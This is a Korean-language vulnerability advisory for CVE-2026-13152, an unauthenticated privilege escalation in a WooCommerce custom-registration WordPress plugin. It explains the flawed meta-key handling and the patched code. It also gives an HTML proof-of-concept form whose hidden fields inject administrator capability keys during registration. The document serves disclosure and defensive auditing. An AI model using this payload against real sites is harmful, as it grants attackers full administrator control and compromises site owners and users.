
CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).
CVE-2026-13152는 보안 연구원 Huynh Kien Minh(MinhHK)가 발견하고 분석한, Custom Fields Account Registration For WooCommerce WordPress 플러그인 1.4 미만 버전에 영향을 미치는 인증되지 않은 권한 상승 취약점입니다. 이 결함은 플러그인이 보호된 데이터베이스 키를 살균 처리하거나 사용자 역할을 검증하지 않은 채 사용자 정의 등록 입력 필드가 민감한 사용자 권한 메타데이터에 직접 기록되도록 허용하기 때문에 발생합니다. 기본이 아닌 데이터베이스 테이블 접두사 또는 사용자 정의 사용자 메타 키 매핑을 사용하는 사이트에서는 WooCommerce 등록 양식을 통해 등록하는 인증되지 않은 사용자가 wp_user_level 또는 wp_capabilities와 같은 관리자 권한을 wp_usermeta 테이블에 주입할 수 있습니다. 이로 인해 새로 생성된 계정에 완전한 관리자 액세스 권한이 부여되어 원격으로 사이트 전체가 완전히 손상될 수 있습니다. 보안 연구원 Huynh Kien Minh는 이 취약점을 WPScan에 보고했으며, 공급업체는 키 이름 검증을 구현하고 capability 메타 할당을 제한하여 버전 1.4에서 문제를 해결했습니다.
Custom Fields Account Registration For WooCommerce 플러그인은 사이트 관리자가 WooCommerce 사용자 등록 양식(my-account 등록 엔드포인트)에 사용자 정의 입력 필드를 정의할 수 있게 합니다. 새 사용자가 등록 양식을 제출하면 플러그인은 제출된 양식 필드를 반복 처리하고 update_user_meta($user_id, $meta_key, $meta_value)를 호출하여 사용자 세부 정보를 저장합니다.
근본적인 결함은 등록 핸들러 내부의 입력 처리 로직에 있습니다. 플러그인은 보호된 WordPress 사용자 메타 키(wp_capabilities, wp_user_level, session_tokens, wp_user_roles)에 대한 엄격한 블랙리스트 또는 화이트리스트를 유지하지 못합니다.
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
사용자 정의 데이터베이스 접두사 또는 사용자 정의 메타 키 구성을 사용하는 WordPress 설치 환경에서 인증되지 않은 공격자는 관리자 권한 키(wp_user_level = 10 또는 직렬화된 배열 a:1:{s:13:"administrator";b:1;})와 일치하는 사용자 정의 필드 입력을 제공할 수 있습니다. 계정이 생성되면 update_user_meta()가 이 값을 wp_usermeta에 직접 기록하여 새로 등록된 계정을 전체 관리자 상태로 상승시킵니다.
[!CAUTION] 이 개념 증명은 교육 목적, 방어적 감사 및 취약점 검증을 위해서만 제공됩니다. 승인된 테스트만 허용됩니다.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce를 업그레이드하세요.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| 속성 | 세부 정보 |
|---|
| CVE ID | CVE-2026-13152 |
| 플러그인 이름 | Custom Fields Account Registration For WooCommerce |
| 플러그인 슬러그 | custom-fields-account-registration-for-woocommerce |
| 영향을 받는 버전 | < 1.4 |
| 수정된 버전 | 1.4 |
| 취약점 유형 | 인증되지 않은 권한 상승 (CWE-269 / OWASP A2) |
| CVSS v3.1 점수 | 8.1 (High) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 최초 발견 연구원 | Huynh Kien Minh (MinhHK) |
| WPScan 권고 ID | 36aaba38-3143-4e80-8386-748632ff6704 |